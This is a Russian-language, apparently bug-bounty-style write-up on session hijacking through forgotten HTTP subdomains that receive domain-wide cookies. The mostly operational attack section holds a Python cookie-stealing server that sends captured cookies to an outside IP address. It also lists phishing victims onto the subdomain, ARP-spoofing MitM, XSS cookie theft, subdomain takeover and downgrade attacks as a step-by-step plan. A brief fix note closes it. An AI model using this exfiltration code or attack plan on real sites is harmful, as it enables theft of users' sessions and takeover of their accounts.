Что вижу:
Основной домен target.com
крутится на HTTPS, куки с флагом Secure
. Но забытый субдомен oldblog.target.com
висит на HTTP, а куки всё ещё шлются с Domain=target.com
. Пахнет кражей сессий, как забытый пароль на стикере в офисе.
Как поймал:
— Инструмент: subfinder -d target.com
+ httpx -sc -title
для поиска HTTP-субдоменов.
— Метод: Проверил куки через Burp на предмет Domain=
и отсутствие Secure
, затем запросил /
на старом субдомене.
Чем пахнет:
— Класс: Session Hijacking через устаревшие DNS-записи.
— Вероятность: 8/10. Компании забывают чистить старые субдомены, а куки наследуются на уровне домена.
Че почем
Эксплойт:
Разворачиваешь страницу на своём домене или перехватываешь забытый субдомен:
-
Находишь
dev.target.com
(DNS указывает на твой IP, если регистрация истекла). -
Поднимаешь HTTP-сервер:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
from http.server import HTTPServer, BaseHTTPRequestHandler class StealCookies(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header("Content-type", "text/html") self.end_headers() cookies = self.headers.get('Cookie') if cookies: print(f"Stolen: {cookies}") # Отправь на свой сервер import requests requests.get(f"http://144.228.71.44/log?cookies={cookies}") self.wfile.write(b"Gotcha!") HTTPServer(('0.0.0.0', 80), StealCookies).serve_forever() |
-
Заманиваешь жертву на
http://dev.target.com
через фишинг.
Итог: Куки с target.com
(включая сессионные токены) улетают к тебе.
Обход защиты:
— Если субдомен не забыт, но на HTTP: Используй MitM через ARP-спуфинг в локалке.
— Если куки с HttpOnly
: Перехватывай через XSS на том же субдомене (если есть уязвимый фронт).
— Если DNS не взять: Ищи через waybackurls
старые записи или утечки в GitHub (target.com site:github.com
).
Доказательство:
Скриншот логов с куками: sessionid=abc123; user=admin
. «Видишь токен? Это не твой Wi-Fi код — это ключ от админки».
Советы
3 вектора для добивания:
-
Takeover субдомена: Если
staging.target.com
не привязан к IP, регистрируй через AWS Route53 или Cloudflare. -
XSS на старом сайте: Если субдомен — это legacy-блог, ищи XSS в комментах для слива кук без MitM.
-
Downgrade атака: Если основной сайт редиректит с HTTP на HTTPS, перехватывай начальный запрос до редиректа.
План атаки:
-
Сканируешь субдомены через
subfinder
илиamass
. -
Фильтруешь по HTTP (
httpx -fc 301,302,403
) и ищешь заброшенные сайты с 404 или истёкшим DNS. -
Проверяешь куки на
Domain=target.com
через Burp илиdocument.cookie
в консоли. -
Если успех — либо бери субдомен под контроль, либо ставь HTTP-сервер для перехвата сессий.
Если в DNS-записях есть CNAME
на Azure/AWS:
— Гугли возможность subdomain takeover через незакреплённые записи.
— Эксплойт: Используй can-i-take-over-xyz
для проверки на захват (https://github.com/EdOverflow/can-i-take-over-xyz).
Мемная аналитика:
«Забытые субдомены — как старый аккаунт на форуме: казалось, удалил, а он до сих пор логинит тебя в админку».
Итог:
— Уязвимость: Неправильная настройка кук с Domain=
и забытые субдомены на HTTP.
— Фикс: Устанавливать Secure
на куки, чистить старые DNS-записи, мониторить субдомены.
— Но пока админы забывают про свои ‘тестовые’ среды, угоняй сессии и сдавай репорты на баг-баунти.